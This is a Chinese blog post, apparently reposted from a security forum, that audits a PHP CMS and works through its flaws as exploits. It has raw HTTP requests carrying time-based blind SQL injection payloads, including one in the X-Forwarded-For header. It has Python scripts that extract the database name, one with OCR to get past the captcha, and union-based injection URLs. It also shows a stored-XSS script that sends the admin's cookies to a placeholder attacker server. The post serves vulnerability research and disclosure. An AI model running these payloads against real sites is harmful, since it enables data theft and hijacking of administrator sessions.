对某cms的一次审计
2020-04-15 10:06:56 Author: xz.aliyun.com(查看原文) 阅读量:214 收藏

记一次某cms的审计,文章有写的不好的地方,大佬们轻喷。

├── Conf(连接数据库的一些配置文件)
├── Libs(一些公共函数)
├── Statics(js的一些静态文件)
├── Style(css样式)
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install(网站安装目录)
├── system(网站后台,审计的重点)
└── top.php

第一处sql注入

/system/add_book_class.php,关键代码如下,这里没有任何的过滤

......
......
......
<?php
if($_GET["act"]==ok){
    $siteinfo = array(
        'title' => $_POST['title'],
        'c_order' => $_POST['c_order']
        );
    $db->insert("****cms_book_class", $siteinfo);
    //$db->close();
    echo "<script language='javascript'>"; 
    echo "alert('恭喜您,信息内容添加成功!');";
    echo " location='manage_book_class.php';"; 
    echo "</script>";
}
?>

insert函数在/Libs/Class/mysql.class.php,内容如下,这里也并没有对插入数据库的函数进行过滤

function insert($tableName, $column = array()) {
         $columnName = "";
         $columnValue = "";
         foreach ($column as $key => $value) {
             $columnName .= $key . ",";
             $columnValue .= "'" . $value . "',";
         }
         $columnName = substr($columnName, 0, strlen($columnName) - 1);
         $columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
         $sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
         $this->query($sql);
     }

payload:

POST /system/add_book_class.php?act=ok HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/add_book_class.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1

title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1

这里titlec_order参数都存在sql注入

获取数据库名的exp如下:

import requests
import time
url = 'http://localhost:81/system/add_book_class.php?act=ok'
# 这里省去了登录的爬虫,因为存在验证码,ocr比较麻烦,所以登录成功后,把cookie替换一下即可
cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'}

def binary_search_sql(start,end,payload,length=2):
    name = ''
    for i in range(1,length+1):
        left = start
        right = end
        while 1:
            mid = (left + right) // 2
            if mid == left:
                name += chr(mid)
                break
            start_time = time.time()
            full_payload = payload.format(num1=str(i),num2=str(mid))
            requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie)
            print(full_payload)
            if time.time() - start_time > 2.5:
                right = mid
            else:
                left = mid
    return name

# 这里爆破库名长度
# 5
database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)

# 这里爆破库名
#
database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))

第二处sql注入

/system/loginpass.php关键代码如下

......
......
......
$login_ip=getIp();
  $sql="select * from admin_user where u_name='".$m_name."' and u_pwd='".$m_pwd."'";
  $result=$db->query($sql);
if(!mysql_num_rows($result)==0){
    $_SESSION["m_name"] = $m_name;
    $db->query("UPDATE admin_user SET login_nums=login_nums+1 where u_name='".$m_name."'");
    $login_info=array(
       'u_name'=>$m_name,
       'login_date'=>strtotime(date('Y-m-d')),
       'login_ip'=>$login_ip
    );
    $db->insert("admin_login_log",$login_info);
    $db->close();
    ok_info('***cms.php','恭喜您,登陆成功!');
  }
......
......
......

getIp()函数如下

function getIp() {
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else
        if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
            $ip = getenv("HTTP_X_FORWARDED_FOR");
        else
            if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
                $ip = getenv("REMOTE_ADDR");
            else
                if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
                    $ip = $_SERVER['REMOTE_ADDR'];
                else
                    $ip = "unknown";
    return ($ip);
}

这里对ip没有做任何的过滤限制,我们可以用http头X-Forwarded-For,对输入的ip进行控制,也就是说,loginpass.php中的变量$login_ip是可控的

insert函数如下

function insert($tableName, $column = array()) {
         $columnName = "";
         $columnValue = "";
         foreach ($column as $key => $value) {
             $columnName .= $key . ",";
             $columnValue .= "'" . $value . "',";
         }
         $columnName = substr($columnName, 0, strlen($columnName) - 1);
         $columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
         $sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
         $this->query($sql);
     }

这里对插入的数据也没有做任何限制

payload如下

POST /system/loginpass.php HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/index.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '

admin=1&password=1&checkcode=4K23

也就是说,我们只要能正确识别验证码,X-Forwarded-For中提交盲注的内容,就可以进行sql注入

注入数据库名的exp.py

这里必须要安装pytesseract库tesseract,这样的话ocr识别很快

import requests
from PIL import Image
import pytesseract
from time import time

r = requests.Session()
url_code = 'http://localhost:81/system/code.php?act=yes'
url_login = 'http://localhost:81/system/loginpass.php'
length = ''
name = ''

# 这里获取验证码,并将原图转为灰度图像,然后再指定二值化的阈值
def code():
    req = r.get(url_code)
    with open('1.png', 'wb') as f:
        f.write(req.content)
    #新建Image对象
    image = Image.open("1.png")
    #进行置灰处理
    image = image.convert('L')
    #这个是二值化阈值
    threshold = 150
    table = []
    for i in  range(256):
        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    #通过表格转换成二进制图片,1的作用是白色,不然就全部黑色了
    image = image.point(table,"1")
    code = pytesseract.image_to_string(image)
    return code

# 这里判断数据库名长度验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_length(num2,num1=1):
    payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"
    data = {'admin': '1',
            'password': '1',
            'checkcode': code()
            }
    full_payload = payload_length.format(num1=str(num1),num2=str(num2))
    print(full_payload)
    req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
    if '验证码输入有误' in req.text:
        return checkcode_length(num2)

# 这里判断数据库名验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_database_name(num1,num2):
    payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
    data = {'admin': '1',
            'password': '1',
            'checkcode': code()
            }
    full_payload = payload_database_name.format(num1=str(num1),num2=str(num2))
    print(full_payload)
    req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
    if '验证码输入有误' in req.text:
        return checkcode_database_name(num1,num2)

# 这里返回数据库名的长度
def database_length():
    global length
    for i in range(48,58):
        payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"
        data = {'admin': '1',
                'password': '1',
                'checkcode': code()
                }
        full_payload = payload_length.format(num1=str(i))
        print(full_payload)
        start_time = time()
        req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
        if '验证码输入有误' in req.text:
            checkcode_length(str(i))
        else:
            if time() - start_time > 2.5:
                length += chr(i)
                print(length)

# 这里调用database_length()函数来获取数据库名的长度
database_length()
print(length)

# 这里返回数据库名
def database_name():
    global name
    payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
    for i in range(1,int(length)+1):
        left = 32
        right = 127
        while 1:
            mid = (left + right) // 2
            if mid == left:
                name += chr(mid)
                break

            data = {'admin': '1',
                    'password': '1',
                    'checkcode': code()
                    }
            full_payload = payload_database_name.format(num1=str(i), num2=str(mid))
            print(full_payload)
            start_time = time()
            req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
            print(full_payload)

            if '验证码输入有误' in req.text:
                checkcode_database_name(i, mid)
            else:
                if time() - start_time > 2.5:
                    right = mid
                else:
                    left = mid

# 这里调用database_name()函数来获取数据库名
database_name()
print(name)

第三处sql注入

/system/hf_book.php关键代码如下,大概在这个页面的18行左右

....
....
....
$sxid=$_GET["id"];
$e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC);
$bid=$e_rs['id'];
....
....

先猜测字段数目,11正确,12错误,说明字段数是11

http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11#
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12#

看回显部分,字段3和字段5存在回显

http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#

注入出数据库名

http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#

小结

这里其实还有非常多的sql注入,包括insert注入,delete注入,update注入,由于文章篇幅的原因,没有一一例举。因为源头insert或者update或者delete没有做好过滤,导致了这篇漏洞,所以这里也就不再重复说明,举了几个比较典型的案例来说明

/add_do.php

<?php
session_start();
require 'Conf/***cms.inc.php';
require 'Libs/Function/fun.php';
if(strtolower($_POST["checkcode"])==strtolower($_SESSION["randval"])){
  unset($_SESSION["randval"]);//释放session中的变量
}else{
  unset($_SESSION["randval"]);
  ok_info(0,"验证码输入有误!");
  exit();
}
$byz=$_POST['b_yzcode'];
if($byz!==md5($yzcode)){
    ok_info(0,'错误的参数!');
}
$siteinfo = array(
        'type_id' => intval(trim($_POST['type_id'])),
        'b_title' => injCheck($_POST['b_title']),
        'b_content' => injCheck($_POST['b_content']),
        'b_name' => injCheck($_POST['b_name']),
        'b_tel' => injCheck($_POST['b_tel']),
        'b_mail' => injCheck($_POST['b_mail']),
        'b_qq' => injCheck($_POST['b_qq']),
        'b_ip' => injCheck($_POST['b_ip']),
        'c_date' => time()
        );
$db->insert("***cms_book", $siteinfo);
$db->close();
ok_info('/index.php','恭喜你,留言提交成功!');
?>

第17行到第24行,只对sql注入进行了过滤,并没有对xss过滤,导致了这些提交字段都存在xss漏洞

然后我们到该页面,进行提交

这里我是用我的服务器进行监听,4.js内容如下

var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;

然后在我自己的服务器上nc监听

然后当管理员在后台点击访问新回复的时候

然后可以打到cookie并且可以成功登录

小结

其实这里也有后台存储型xss,但是很鸡肋,就不说了


文章来源: http://xz.aliyun.com/t/7557
如有侵权请联系:admin#unsafe.sh